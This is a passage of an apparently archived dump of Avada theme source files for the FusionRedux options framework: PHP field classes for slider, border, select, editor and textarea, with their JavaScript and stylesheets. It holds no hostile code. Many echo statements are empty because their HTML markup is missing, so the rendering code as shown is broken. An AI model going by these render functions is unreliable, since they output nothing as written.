scripts, or css define this function and register/enqueue the scripts/css * * @since FusionReduxFramework 3.1.8 */ function enqueue() { global $fusion_library_latest_version; $min = FusionRedux_Functions::isMin(); wp_enqueue_style( 'select3-css' ); wp_enqueue_style( 'fusionredux-nouislider-css', FusionReduxFramework::$_url . 'inc/fields/slider/vendor/nouislider/fusionredux.jquery.nouislider.css', array(), $fusion_library_latest_version, 'all' ); wp_register_script( 'fusionredux-nouislider-js', FusionReduxFramework::$_url . 'inc/fields/slider/vendor/nouislider/fusionredux.jquery.nouislider' . $min . '.js', array( 'jquery' ), $fusion_library_latest_version, true ); wp_enqueue_script( 'fusionredux-field-slider-js', FusionReduxFramework::$_url . 'inc/fields/slider/field_slider' . $min . '.js', array( 'jquery', 'fusionredux-nouislider-js', 'fusionredux-js', 'select3-js' ), time(), true ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'fusionredux-field-slider-css', FusionReduxFramework::$_url . 'inc/fields/slider/field_slider.css', array(), time(), 'all' ); } } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since FusionReduxFramework 0.0.4 */ function render() { $this->clean(); $fieldID = $this->field['id']; $fieldName = $this->field['name'] . $this->field['name_suffix']; //$fieldName = $this->parent->args['opt_name'] . '[' . $this->field['id'] . ']'; // Set handle number variable. $twoHandles = false; if ( 2 == $this->field['handles'] ) { $twoHandles = true; } // Set default values(s) if ( true == $twoHandles ) { $valOne = $this->value[0]; $valTwo = $this->value[1]; $html = 'data-default-one="' . $valOne . '" '; $html .= 'data-default-two="' . $valTwo . '" '; $nameOne = $fieldName . '[1]'; $nameTwo = $fieldName . '[2]'; $idOne = $fieldID . '[1]'; $idTwo = $fieldID . '[2]'; } else { $valOne = $this->value; $valTwo = ''; $html = 'data-default-one="' . $valOne . '"'; $nameOne = $fieldName; $nameTwo = ''; $idOne = $fieldID; $idTwo = ''; } $showInput = false; $showLabel = false; $showSelect = false; // TEXT output if ( $this->display_text == $this->field['display_value'] ) { $showInput = true; echo ''; // LABEL output } elseif ( $this->display_label == $this->field['display_value'] ) { $showLabel = true; $labelNum = $twoHandles ? '-one' : ''; echo '
    '; // SELECT output } elseif ( $this->display_select == $this->field['display_value'] ) { $showSelect = true; if ( isset( $this->field['select3'] ) ) { // if there are any let's pass them to js $select3_params = json_encode( $this->field['select3'] ); $select3_params = htmlspecialchars( $select3_params, ENT_QUOTES ); echo ''; } echo ''; } // DIV output echo '
    '; // Double slider output if ( true == $twoHandles ) { // TEXT if ( true == $showInput ) { echo ''; } // LABEL if ( true == $showLabel ) { echo '
    '; } // SELECT if ( true == $showSelect ) { echo ''; } } // NO output (input hidden) if ( $this->display_none == $this->field['display_value'] || $this->display_label == $this->field['display_value'] ) { echo ''; // double slider hidden output if ( true == $twoHandles ) { echo ''; } } } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/slider/field_slider.scss000064400000003443152342437710025754 0ustar00.fusionredux-container-slider { .fusionredux-slider-container { margin-left: 25px; margin-right: 25px; width: 200px; display: inline-block; vertical-align: middle; } .fusionredux-slider-input, .fusionredux-slider-select-one, .fusionredux-slider-select-two { width: 100px !important; text-align: center; } .fusionredux-slider-label { position: absolute; margin-left: -5px; } .fusionredux-slider-label-one { position: absolute; margin-left: -22px; } .fusionredux-slider-label-two { position: absolute; margin-top: -21px; margin-left: 245px; } } @media screen and (max-width: 782px) { .fusionredux-container-slider { input { display: inline-block !important; } } } // Select Slider @media screen and (max-width: 570px) { .fusionredux-container-slider { text-align: center; input, select, .fusionredux-slider-label, .select3-container { display: block !important; position: inherit; margin: 10px auto; } .fusionredux-slider-container { margin-top: 3px; width: 80%; } } } .wp-customizer { .fusionredux-container-slider { .fusionredux-slider-label { float: left; position: inherit; width: 25%; text-align: center; margin-left:0; } .fusionredux-slider-input, .fusionredux-slider-select-one, .fusionredux-slider-select-two { width: 25% !important; } .fusionredux-slider-container { width: 70%; margin-right: 0; margin-left: 5%; } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/border/field_border.min.js000064400000004646152342437710026173 0ustar00!function(i){"use strict";fusionredux.field_objects=fusionredux.field_objects||{},fusionredux.field_objects.border=fusionredux.field_objects.border||{},fusionredux.field_objects.border.init=function(e){e||(e=i(document).find(".fusionredux-group-tab:visible").find(".fusionredux-container-border:visible")),i(e).each(function(){var e=i(this),r=e;if(e.hasClass("fusionredux-field-container")||(r=e.parents(".fusionredux-field-container:first")),!r.is(":hidden")&&r.hasClass("fusionredux-field-init")){r.removeClass("fusionredux-field-init"),e.find(".fusionredux-border-top, .fusionredux-border-right, .fusionredux-border-bottom, .fusionredux-border-left, .fusionredux-border-all").numeric({allowMinus:!1});var n={triggerChange:!0,allowClear:!0},o=e.find(".fusionredux-container-border").find(".select3_params");if(o.length>0){var s=o.val();s=JSON.parse(s),n=i.extend({},n,s)}e.find(".fusionredux-border-style").select3(n),e.find(".fusionredux-border-input").on("change",function(){var e=i(this).parents(".fusionredux-field:first").find(".field-units").val();0!==i(this).parents(".fusionredux-field:first").find(".fusionredux-border-units").length&&(e=i(this).parents(".fusionredux-field:first").find(".fusionredux-border-units option:selected").val());var r=i(this).val();void 0!==e&&r&&(r+=e),i(this).hasClass("fusionredux-border-all")?i(this).parents(".fusionredux-field:first").find(".fusionredux-border-value").each(function(){i(this).val(r)}):i("#"+i(this).attr("rel")).val(r)}),e.find(".fusionredux-border-units").on("change",function(){i(this).parents(".fusionredux-field:first").find(".fusionredux-border-input").change()}),e.find(".fusionredux-color-init").wpColorPicker({change:function(r,n){i(this).val(n.color.toString()),fusionredux_change(i(this)),e.find("#"+r.target.getAttribute("data-id")+"-transparency").removeAttr("checked")},clear:function(e,r){i(this).val(r.color.toString()),fusionredux_change(i(this).parent().find(".fusionredux-color-init"))},palettes:["#000000","#ffffff","#f44336","#E91E63","#03A9F4","#00BCD4","#8BC34A","#FFEB3B","#FFC107","#FF9800","#607D8B"]}),e.find(".fusionredux-color").on("keyup",function(){var e=colorValidate(this);e&&e!==i(this).val()&&i(this).val(e)}),e.find(".fusionredux-color").on("blur",function(){var e=i(this).val();colorValidate(this)===e&&0!==e.indexOf("#")&&i(this).val(i(this).data("oldcolor"))}),e.find(".fusionredux-color").on("keydown",function(){i(this).data("oldkeypress",i(this).val())})}})}}(jQuery);Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/border/field_border.scss000064400000001573152342437710025744 0ustar00.fusionredux-container-border { .select3-container { float: left; display: block; margin-right: 10px; } .select_wrapper { float: left; select { width: 80px; float: left; } width: inherit; } .field-border-input { margin-right: 10px; margin-bottom: 7px; } .wp-picker-container { margin-top: 2px; } } @media screen and (max-width: 782px) { .fusionredux-container-border { .field-border-input { input { display: inline-block !important; width: 100px !important; } .add-on { padding: 7px 4px; font-size: 16px; line-height: 1.5; } } .select_wrapper { margin-top: 6px; } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/border/field_border.js000064400000012647152342437710025411 0ustar00/* Field Border (border) */ /*global fusionredux_change, wp, fusionredux*/ (function( $ ) { "use strict"; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.border = fusionredux.field_objects.border || {}; fusionredux.field_objects.border.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".fusionredux-group-tab:visible" ).find( '.fusionredux-container-border:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'fusionredux-field-container' ) ) { parent = el.parents( '.fusionredux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'fusionredux-field-init' ) ) { parent.removeClass( 'fusionredux-field-init' ); } else { return; } el.find( ".fusionredux-border-top, .fusionredux-border-right, .fusionredux-border-bottom, .fusionredux-border-left, .fusionredux-border-all" ).numeric( { allowMinus: false } ); var default_params = { triggerChange: true, allowClear: true }; var select3_handle = el.find( '.fusionredux-container-border' ).find( '.select3_params' ); if ( select3_handle.length > 0 ) { var select3_params = select3_handle.val(); select3_params = JSON.parse( select3_params ); default_params = $.extend( {}, default_params, select3_params ); } el.find( ".fusionredux-border-style" ).select3( default_params ); el.find( '.fusionredux-border-input' ).on( 'change', function() { var units = $( this ).parents( '.fusionredux-field:first' ).find( '.field-units' ).val(); if ( $( this ).parents( '.fusionredux-field:first' ).find( '.fusionredux-border-units' ).length !== 0 ) { units = $( this ).parents( '.fusionredux-field:first' ).find( '.fusionredux-border-units option:selected' ).val(); } var value = $( this ).val(); if ( typeof units !== 'undefined' && value ) { value += units; } if ( $( this ).hasClass( 'fusionredux-border-all' ) ) { $( this ).parents( '.fusionredux-field:first' ).find( '.fusionredux-border-value' ).each( function() { $( this ).val( value ); } ); } else { $( '#' + $( this ).attr( 'rel' ) ).val( value ); } } ); el.find( '.fusionredux-border-units' ).on( 'change', function() { $( this ).parents( '.fusionredux-field:first' ).find( '.fusionredux-border-input' ).change(); } ); el.find( '.fusionredux-color-init' ).wpColorPicker( { change: function( e, ui ) { $( this ).val( ui.color.toString() ); fusionredux_change( $( this ) ); el.find( '#' + e.target.getAttribute( 'data-id' ) + '-transparency' ).removeAttr( 'checked' ); }, clear: function( e, ui ) { $( this ).val( ui.color.toString() ); fusionredux_change( $( this ).parent().find( '.fusionredux-color-init' ) ); }, palettes: ['#000000', '#ffffff', '#f44336', '#E91E63', '#03A9F4', '#00BCD4', '#8BC34A', '#FFEB3B', '#FFC107', '#FF9800', '#607D8B'] } ); el.find( '.fusionredux-color' ).on( 'keyup', function() { var color = colorValidate( this ); if ( color && color !== $( this ).val() ) { $( this ).val( color ); } } ); // Replace and validate field on blur el.find( '.fusionredux-color' ).on( 'blur', function() { var value = $( this ).val(); if ( colorValidate( this ) === value ) { if ( value.indexOf( "#" ) !== 0 ) { $( this ).val( $( this ).data( 'oldcolor' ) ); } } } ); // Store the old valid color on keydown el.find( '.fusionredux-color' ).on( 'keydown', function() { $( this ).data( 'oldkeypress', $( this ).val() ); } ); } ); }; })( jQuery ); Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/border/field_border.css000064400000001420152342437710025550 0ustar00.fusionredux-container-border .select3-container{float:left;display:block;margin-right:10px}.fusionredux-container-border .select_wrapper{float:left;width:inherit}.fusionredux-container-border .select_wrapper select{width:80px;float:left}.fusionredux-container-border .field-border-input{margin-right:10px;margin-bottom:7px}.fusionredux-container-border .wp-picker-container{margin-top:2px}@media screen and (max-width: 782px){.fusionredux-container-border .field-border-input input{display:inline-block !important;width:100px !important}.fusionredux-container-border .field-border-input .add-on{padding:7px 4px;font-size:16px;line-height:1.5}.fusionredux-container-border .select_wrapper{margin-top:6px}}/*# sourceMappingURL=FusionReduxCore/inc/fields/border/field_border.css.map */ Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/border/field_border.php000064400000033123152342437710025554 0ustar00. * * @package FusionRedux_Field * @subpackage Border * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'FusionReduxFramework_border' ) ) { class FusionReduxFramework_border { public $parent; public $field; public $value; /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since FusionReduxFramework 1.0.0 */ function __construct( $field = array(), $value = '', $parent = null ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } private function stripAlphas($s) { // Regex is our friend. THERE ARE FOUR LIGHTS!! return preg_replace('/[^\d.-]/', '', $s); } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since FusionReduxFramework 1.0.0 */ function render() { // No errors please $defaults = array( 'top' => true, 'bottom' => true, 'all' => true, 'style' => true, 'color' => true, 'left' => true, 'right' => true, ); $this->field = wp_parse_args( $this->field, $defaults ); $defaults = array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', 'color' => '', 'style' => '', ); $this->value = wp_parse_args( $this->value, $defaults ); $value = array( 'top' => isset( $this->value['border-top'] ) ? filter_var( $this->value['border-top'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ) : filter_var( $this->value['top'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ), 'right' => isset( $this->value['border-right'] ) ? filter_var( $this->value['border-right'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ) : filter_var( $this->value['right'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ), 'bottom' => isset( $this->value['border-bottom'] ) ? filter_var( $this->value['border-bottom'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ) : filter_var( $this->value['bottom'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ), 'left' => isset( $this->value['border-left'] ) ? filter_var( $this->value['border-left'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ) : filter_var( $this->value['left'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ), 'color' => isset( $this->value['border-color'] ) ? $this->value['border-color'] : $this->value['color'], 'style' => isset( $this->value['border-style'] ) ? $this->value['border-style'] : $this->value['style'] ); if ( ( isset( $this->value['width'] ) || isset( $this->value['border-width'] ) ) ) { if ( isset( $this->value['border-width'] ) && ! empty( $this->value['border-width'] ) ) { $this->value['width'] = $this->value['border-width']; } $this->value['width'] = $this->stripAlphas($this->value['width']); $value['top'] = $this->value['width']; $value['right'] = $this->value['width']; $value['bottom'] = $this->value['width']; $value['left'] = $this->value['width']; } $this->value = $value; $defaults = array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ); $this->value = wp_parse_args( $this->value, $defaults ); if ( isset( $this->field['select3'] ) ) { // if there are any let's pass them to js $select3_params = json_encode( $this->field['select3'] ); $select3_params = htmlspecialchars( $select3_params, ENT_QUOTES ); echo ''; } echo ''; if ( isset( $this->field['all'] ) && $this->field['all'] == true ) { echo '
    '; } echo ''; echo ''; echo ''; echo ''; if ( ! isset( $this->field['all'] ) || $this->field['all'] !== true ) { /** * Top * */ if ( $this->field['top'] === true ) { echo '
    '; } /** * Right * */ if ( $this->field['right'] === true ) { echo '
    '; } /** * Bottom * */ if ( $this->field['bottom'] === true ) { echo '
    '; } /** * Left * */ if ( $this->field['left'] === true ) { echo '
    '; } } /** * Border-style * */ if ( $this->field['style'] != false ) { $options = array( 'solid' => 'Solid', 'dashed' => 'Dashed', 'dotted' => 'Dotted', 'double' => "Double", 'none' => 'None' ); echo ''; } else { echo ''; } /** * Color * */ if ( $this->field['color'] != false ) { $default = isset( $this->field['default']['border-color'] ) ? $this->field['default']['border-color'] : ''; if ( empty( $default ) ) { $default = ( isset( $this->field['default']['color'] ) ) ? $this->field['default']['color'] : '#ffffff'; } echo ''; } else { echo ''; } } //function /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since FusionReduxFramework 1.0.0 */ function enqueue() { $min = FusionRedux_Functions::isMin(); if (!wp_style_is ( 'select3-css' )) { wp_enqueue_style( 'select3-css' ); } if (!wp_style_is ( 'wp-color-picker' )) { wp_enqueue_style( 'wp-color-picker' ); } if (!wp_script_is ( 'fusionredux-field-border-js' )) { wp_enqueue_script( 'fusionredux-field-border-js', FusionReduxFramework::$_url . 'inc/fields/border/field_border' . $min . '.js', array( 'jquery', 'select3-js', 'wp-color-picker', 'fusionredux-js' ), time(), true ); } if ($this->parent->args['dev_mode']) { if (!wp_style_is ( 'fusionredux-color-picker-css' )) { wp_enqueue_style( 'fusionredux-color-picker-css' ); } if (!wp_style_is ( 'fusionredux-field-border-css' )) { wp_enqueue_style( 'fusionredux-field-border-css', FusionReduxFramework::$_url . 'inc/fields/border/field_border.css', array(), time(), 'all' ); } } } //function public function output() { if ( isset( $this->field['all'] ) && true == $this->field['all'] ) { $borderWidth = isset( $this->value['border-width'] ) ? $this->value['border-width'] : '0px'; $val = isset( $this->value['border-top'] ) ? $this->value['border-top'] : $borderWidth; $this->value['border-top'] = $val; $this->value['border-bottom'] = $val; $this->value['border-left'] = $val; $this->value['border-right'] = $val; } $cleanValue = array( 'color' => ! empty( $this->value['border-color'] ) ? $this->value['border-color'] : '', 'style' => ! empty( $this->value['border-style'] ) ? $this->value['border-style'] : '' ); $borderWidth = ''; if ( isset( $this->value['border-width'] ) ) { $borderWidth = $this->value['border-width']; } $this->field['top'] = isset( $this->field['top'] ) ? $this->field['top'] : true; $this->field['bottom'] = isset( $this->field['bottom'] ) ? $this->field['bottom'] : true; $this->field['left'] = isset( $this->field['left'] ) ? $this->field['left'] : true; $this->field['right'] = isset( $this->field['right'] ) ? $this->field['right'] : true; if ( $this->field['top'] === true ) { $cleanValue['top'] = ! empty( $this->value['border-top'] ) ? $this->value['border-top'] : $borderWidth; } if ( $this->field['bottom'] == true ) { $cleanValue['bottom'] = ! empty( $this->value['border-bottom'] ) ? $this->value['border-bottom'] : $borderWidth; } if ( $this->field['left'] === true ) { $cleanValue['left'] = ! empty( $this->value['border-left'] ) ? $this->value['border-left'] : $borderWidth; } if ( $this->field['right'] === true ) { $cleanValue['right'] = ! empty( $this->value['border-right'] ) ? $this->value['border-right'] : $borderWidth; } $style = ""; //absolute, padding, margin if ( ! isset( $this->field['all'] ) || $this->field['all'] != true ) { foreach ( $cleanValue as $key => $value ) { if ( $key == "color" || $key == "style" ) { continue; } if (!empty($value)) { $style .= 'border-' . $key . ':' . $value . ' ' . $cleanValue['style'] . ' ' . $cleanValue['color'] . ';'; } } } else { if (!empty($cleanValue['top'])) { $style .= 'border:' . $cleanValue['top'] . ' ' . $cleanValue['style'] . ' ' . $cleanValue['color'] . ';'; } } if ( ! empty( $this->field['output'] ) && is_array( $this->field['output'] ) ) { $keys = implode( ",", $this->field['output'] ); if (!empty($style)) { $this->parent->outputCSS .= $keys . "{" . $style . '}'; } } if ( ! empty( $this->field['compiler'] ) && is_array( $this->field['compiler'] ) ) { $keys = implode( ",", $this->field['compiler'] ); if (!empty($style)) { $this->parent->compilerCSS .= $keys . "{" . $style . '}'; } } } } //class } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/select/field_select.php000064400000014003152342437710025554 0ustar00parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since FusionReduxFramework 1.0.0 */ public function render() { $sortable = ( isset( $this->field['sortable'] ) && $this->field['sortable'] ) ? ' select3-sortable"' : ""; if ( ! empty( $sortable ) ) { // Dummy proofing :P $this->field['multi'] = true; } if ( ! empty( $this->field['data'] ) && empty( $this->field['options'] ) ) { if ( empty( $this->field['args'] ) ) { $this->field['args'] = array(); } if ( $this->field['data'] == "elusive-icons" || $this->field['data'] == "elusive-icon" || $this->field['data'] == "elusive" ) { $icons_file = FusionReduxFramework::$_dir . 'inc/fields/select/elusive-icons.php'; /** * filter 'fusionredux-font-icons-file}' * * @param string $icon_file File for the icons */ $icons_file = apply_filters( 'fusionredux-font-icons-file', $icons_file ); /** * filter 'fusionredux/{opt_name}/field/font/icons/file' * * @param string $icon_file File for the icons */ $icons_file = apply_filters( "fusionredux/{$this->parent->args['opt_name']}/field/font/icons/file", $icons_file ); if ( file_exists( $icons_file ) ) { require_once wp_normalize_path( $icons_file ); } } $this->field['options'] = $this->parent->get_wordpress_data( $this->field['data'], $this->field['args'] ); } if ( ! empty( $this->field['data'] ) && ( $this->field['data'] == "elusive-icons" || $this->field['data'] == "elusive-icon" || $this->field['data'] == "elusive" ) ) { $this->field['class'] .= " font-icons"; } //if if ( ! empty( $this->field['options'] ) ) { $multi = ( isset( $this->field['multi'] ) && $this->field['multi'] ) ? ' multiple="multiple"' : ""; if ( ! empty( $this->field['width'] ) ) { $width = ' style="' . $this->field['width'] . '"'; } else { $width = ' style="width: 40%;"'; } $nameBrackets = ""; if ( ! empty( $multi ) ) { $nameBrackets = "[]"; } $placeholder = ( isset( $this->field['placeholder'] ) ) ? esc_attr( $this->field['placeholder'] ) : __( 'Select an item', 'Avada' ); if ( isset( $this->field['select3'] ) ) { // if there are any let's pass them to js $select3_params = json_encode( $this->field['select3'] ); $select3_params = htmlspecialchars( $select3_params, ENT_QUOTES ); echo ''; } if ( isset( $this->field['multi'] ) && $this->field['multi'] && isset( $this->field['sortable'] ) && $this->field['sortable'] && ! empty( $this->value ) && is_array( $this->value ) ) { $origOption = $this->field['options']; $this->field['options'] = array(); foreach ( $this->value as $value ) { $this->field['options'][ $value ] = $origOption[ $value ]; } if ( count( $this->field['options'] ) < count( $origOption ) ) { foreach ( $origOption as $key => $value ) { if ( ! in_array( $key, $this->field['options'] ) ) { $this->field['options'][ $key ] = $value; } } } } $sortable = ( isset( $this->field['sortable'] ) && $this->field['sortable'] ) ? ' select3-sortable"' : ""; if ( ! empty( $multi ) ) { echo ''; } echo ''; } else { echo '' . __( 'No items of this type were found.', 'Avada' ) . ''; } } //function private function make_option($id, $value, $group_name = '') { if ( is_array( $this->value ) ) { $selected = ( is_array( $this->value ) && in_array( $id, $this->value ) ) ? ' selected="selected"' : ''; } else { $selected = selected( $this->value, $id, false ); } echo ''; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since FusionReduxFramework 1.0.0 */ public function enqueue() { wp_enqueue_style( 'select3-css' ); if (isset($this->field['sortable']) && $this->field['sortable']) { wp_enqueue_script('jquery-ui-sortable'); } wp_enqueue_script( 'fusionredux-field-select-js', FusionReduxFramework::$_url . 'inc/fields/select/field_select' . FusionRedux_Functions::isMin() . '.js', array( 'jquery', 'select3-js', 'fusionredux-js' ), time(), true ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'fusionredux-field-select-css', FusionReduxFramework::$_url . 'inc/fields/select/field_select.css', array(), time(), 'all' ); } } //function } //class } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/select/field_select.js000064400000006515152342437710025412 0ustar00/*global fusionredux_change, fusionredux*/ (function( $ ) { "use strict"; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.select = fusionredux.field_objects.select || {}; fusionredux.field_objects.select.init = function( selector ) { if ( !selector ) { selector = $( document ).find( '.fusionredux-container-select:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'fusionredux-field-container' ) ) { parent = el.parents( '.fusionredux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'fusionredux-field-init' ) ) { parent.removeClass( 'fusionredux-field-init' ); } else { return; } el.find( 'select.fusionredux-select-item' ).each( function() { var default_params = { width: 'resolve', triggerChange: true, allowClear: true }; if ( $(this).attr('multiple') == "multiple" ) { default_params.width = "100%"; } if ( $( this ).siblings( '.select3_params' ).length > 0 ) { var select3_params = $( this ).siblings( '.select3_params' ).val(); select3_params = JSON.parse( select3_params ); default_params = $.extend( {}, default_params, select3_params ); } if ( $( this ).hasClass( 'font-icons' ) ) { default_params = $.extend( {}, { formatResult: fusionredux.field_objects.select.addIcon, formatSelection: fusionredux.field_objects.select.addIcon }, default_params ); } $( this ).select3( default_params ); if ( $( this ).hasClass( 'select3-sortable' ) ) { default_params = {}; default_params.bindOrder = 'sortableStop'; default_params.sortableOptions = {placeholder: 'ui-state-highlight'}; $( this ).select3Sortable( default_params ); } $( this ).on( "change", function() { fusionredux_change( $( $( this ) ) ); $( this ).select3SortableOrder(); } ); } ); } ); }; fusionredux.field_objects.select.addIcon = function( icon ) { if ( icon.hasOwnProperty( 'id' ) ) { return "" + "  " + icon.text + ""; } }; })( jQuery ); Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/select/field_select.css000064400000000311152342437710025552 0ustar00.fusionredux-container-select li.ui-state-highlight{height:20px;margin-top:2px;margin-left:5px;width:64px;margin-bottom:0}/*# sourceMappingURL=FusionReduxCore/inc/fields/select/field_select.css.map */ Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/select/field_select.scss000064400000000274152342437710025745 0ustar00.fusionredux-container-select { li.ui-state-highlight { height: 20px; margin-top: 2px; margin-left: 5px; width: 64px; margin-bottom: 0; } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/select/field_select.min.js000064400000002575152342437710026176 0ustar00!function(e){"use strict";fusionredux.field_objects=fusionredux.field_objects||{},fusionredux.field_objects.select=fusionredux.field_objects.select||{},fusionredux.field_objects.select.init=function(s){s||(s=e(document).find(".fusionredux-container-select:visible")),e(s).each(function(){var s=e(this),i=s;s.hasClass("fusionredux-field-container")||(i=s.parents(".fusionredux-field-container:first")),i.is(":hidden")||i.hasClass("fusionredux-field-init")&&(i.removeClass("fusionredux-field-init"),s.find("select.fusionredux-select-item").each(function(){var s={width:"resolve",triggerChange:!0,allowClear:!0};if("multiple"==e(this).attr("multiple")&&(s.width="100%"),e(this).siblings(".select3_params").length>0){var i=e(this).siblings(".select3_params").val();i=JSON.parse(i),s=e.extend({},s,i)}e(this).hasClass("font-icons")&&(s=e.extend({},{formatResult:fusionredux.field_objects.select.addIcon,formatSelection:fusionredux.field_objects.select.addIcon},s)),e(this).select3(s),e(this).hasClass("select3-sortable")&&((s={}).bindOrder="sortableStop",s.sortableOptions={placeholder:"ui-state-highlight"},e(this).select3Sortable(s)),e(this).on("change",function(){fusionredux_change(e(e(this))),e(this).select3SortableOrder()})}))})},fusionredux.field_objects.select.addIcon=function(e){if(e.hasOwnProperty("id"))return"  "+e.text+""}}(jQuery);Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/select/elusive-icons.php000064400000022046152342437710025725 0ustar00. * * @package FusionReduxFramework * @subpackage Field_Editor * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @author Kevin Provance (kprovance) * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'FusionReduxFramework_editor' ) ) { /** * Main FusionReduxFramework_editor class * * @since 1.0.0 */ class FusionReduxFramework_editor { public $parent; public $field; public $value; /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field = array(), $value = '', $parent = null ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { if ( ! isset( $this->field['args'] ) ) { $this->field['args'] = array(); } $this->field['args']['onchange_callback'] = "alert('here')"; // Setup up default args $defaults = array( 'textarea_name' => $this->field['name'] . $this->field['name_suffix'], 'editor_class' => $this->field['class'], 'textarea_rows' => 10, //Wordpress default 'teeny' => true, ); if ( isset( $this->field['editor_options'] ) && empty( $this->field['args'] ) ) { $this->field['args'] = $this->field['editor_options']; unset( $this->field['editor_options'] ); } $this->field['args'] = wp_parse_args( $this->field['args'], $defaults ); wp_editor( $this->value, $this->field['id'], $this->field['args'] ); } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'fusionredux-field-editor-css', FusionReduxFramework::$_url . 'inc/fields/editor/field_editor.css', array(), time(), 'all' ); } wp_enqueue_script( 'fusionredux-field-editor-js', FusionReduxFramework::$_url . 'inc/fields/editor/field_editor' . FusionRedux_Functions::isMin() . '.js', array( 'jquery', 'fusionredux-js' ), time(), true ); } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/editor/field_editor_c.php000064400000000000152342437710026064 0ustar00Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/editor/field_editor.js000064400000002177152342437710025430 0ustar00/** * FusionRedux Editor on change callback * Dependencies : jquery * Feature added by : Dovy Paukstys * : Kevin Provance (who helped) :P * Date : 07 June 2014 */ /*global fusionredux_change, wp, tinymce, fusionredux*/ (function( $ ) { "use strict"; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.editor = fusionredux.field_objects.editor || {}; $( document ).ready( function() { //fusionredux.field_objects.editor.init(); } ); fusionredux.field_objects.editor.init = function( selector ) { setTimeout( function() { if (typeof(tinymce) !== 'undefined') { for ( var i = 0; i < tinymce.editors.length; i++ ) { fusionredux.field_objects.editor.onChange( i ); } } }, 1000 ); }; fusionredux.field_objects.editor.onChange = function( i ) { tinymce.editors[i].on( 'change', function( e ) { var el = jQuery( e.target.contentAreaContainer ); if ( el.parents( '.fusionredux-container-editor:first' ).length !== 0 ) { fusionredux_change( $( '.wp-editor-area' ) ); } } ); }; })( jQuery ); Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/textarea/field_textarea.php000064400000005514152342437710026457 0ustar00field['test'] This is cool. * @param string|boolean $field[default] Default value for this field. * @return Test * @see ParentClass * @since FusionRedux 3.0.9 * @todo Still need to fix this! * @var string cool * @var int notcool * @param string[] $options { * @type boolean $required Whether this element is required * @type string $label The display name for this element */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'FusionReduxFramework_textarea' ) ) { class FusionReduxFramework_textarea { public $parent; public $field; public $value; /** * Field Constructor. * * @param $value Constructed by FusionRedux class. Based on the passing in $field['defaults'] value and what is stored in the database. * @param $parent FusionReduxFramework object is passed for easier pointing. * * @since FusionReduxFramework 1.0.0 * @type string $field [test] Description. Default . Accepts , . */ function __construct( $field = array(), $value = '', $parent = null ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since FusionReduxFramework 1.0.0 * * @param array $arr (See above) * * @return void **/ function render() { $this->field['placeholder'] = isset( 